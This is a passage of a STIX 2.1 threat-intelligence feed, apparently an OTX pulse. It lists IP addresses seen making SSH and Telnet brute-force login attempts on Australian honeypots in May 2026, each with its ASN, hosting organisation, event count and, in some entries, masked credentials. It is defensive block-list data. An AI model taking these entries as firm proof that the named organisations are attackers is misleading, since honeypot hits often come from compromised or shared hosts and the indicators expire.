      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.62.32.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--50d563f6-61f0-4f4f-b547-2478e668173f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.71.214.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--2b6e84cf-607a-406c-b268-d348a566bcd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.87.241.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--381e54d6-8727-4566-81e2-d7ec0dfbc7e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.87.243.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 34977. Organisation(s): Procono S.A.. Usernames observed (masked): a***n, r**t. Passwords observed (masked): 1********0, d******x, u**r, v**************3.",
      "id": "indicator--2ec4b6fd-5346-4eb7-9dee-bfe3f7dd496e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.225.203.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--e55a7483-6f8b-48ce-b323-dabb95b28357",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.134.102.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6128. Organisation(s): Cablevision Systems Corp..",
      "id": "indicator--2e0bf153-6728-43c7-8efc-b850b1f8a6d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '24.190.53.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 215607. Organisation(s): dataforest GmbH.",
      "id": "indicator--b8685451-b936-4864-96b6-470822537f1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.58.144.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 3356. Organisation(s): Level 3 Parent, LLC.",
      "id": "indicator--eb736401-09c0-40a9-83ec-ce9a889faf4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.28.179.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--56b5c389-cc90-48db-8cb3-372fe3f1a796",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.116.30.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc..",
      "id": "indicator--bae1ba1b-6b38-4d90-92c2-f5ebc7e54420",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.235.37.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 60781. Organisation(s): LeaseWeb Netherlands B.V..",
      "id": "indicator--58dfa20e-a3e1-4983-82da-d0792be8bba4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.153.246.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 206264. Organisation(s): Amarutu Technology Ltd.",
      "id": "indicator--8d432c9b-adb4-4c2b-bd83-4a820d98bd9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.42.231.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 5432. Organisation(s): Proximus NV.",
      "id": "indicator--e50f56fc-0894-401d-8af3-3cac5abef6da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.179.49.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 51765. Organisation(s): Oy Crea Nova Hosting Solution Ltd.",
      "id": "indicator--28eb3e2a-23f3-476d-8572-400e3b587926",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.233.116.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--731a3d0d-7b07-4239-b04c-e38eb41320dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '96.8.116.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--5e58c23f-a44f-4c04-9dfa-68099c0f2496",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.109.195.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 203. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 401696. Organisation(s): cognetcloud INC. Usernames observed (masked): u****u, r**t, u**r, 3**********4, a***n. Passwords observed (masked): 0****1, 1***5, 1****6, 1*******d, 3***********4.",
      "id": "indicator--040a36c6-01aa-4c6a-ba00-11f91a13d20c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.97.179.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--46627576-84cd-4786-9c32-daab59e8e57d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--d42a4479-dfa5-4231-809c-5e7db5888397",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--390bcfd4-01ce-4c36-9645-210285ea704b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--64f1ba26-6cca-46c8-82b6-63a3fae9d5a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IE. ASN(s): 15502. Organisation(s): Vodafone Ireland Limited.",
      "id": "indicator--cc04853c-418d-45ae-ab3a-816338153a32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.76.170.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--e5b5f133-4817-4553-a985-712b4f6aa213",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.59.229.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63199. Organisation(s): CDS Global Cloud Co., Ltd.",
      "id": "indicator--69f17514-b985-4ab9-8040-53767ac056a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.153.121.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--c0d2c4c7-713b-47d4-86d8-e51f3180ef6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.104.175.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7029. Organisation(s): Windstream Communications LLC.",
      "id": "indicator--50b567d1-2085-4dab-a00d-3ad5d1d7ce8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.189.213.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--5d6f8302-8e81-4824-abff-75311cdcebdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.128.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--d27ec7ad-2f12-428c-a971-9505a2185968",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.131.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 43641. Organisation(s): SOLLUTIUM EU Sp z.o.o..",
      "id": "indicator--48b39013-dcdb-4d59-8936-0639cd7001ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.26.87.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.143.162.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): *. Passwords observed (masked): *.",
      "id": "indicator--7fd4ded1-025d-4b1e-9cee-b03bd5187476",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.184.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--a018d333-2ebe-4399-8412-6bf55cb440d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.215.48.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--2f0e4591-5f58-4b09-9f54-ac898edb7fca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.59.115.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--51c263e8-245c-48ca-a930-c81d0e24dc4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.50.203.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH.",
      "id": "indicator--866716be-c39a-47d9-88a4-9331878a6c54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.111.67.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--a5a3d6ca-f46f-45ec-805e-f4a6d682dfec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.45.12.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
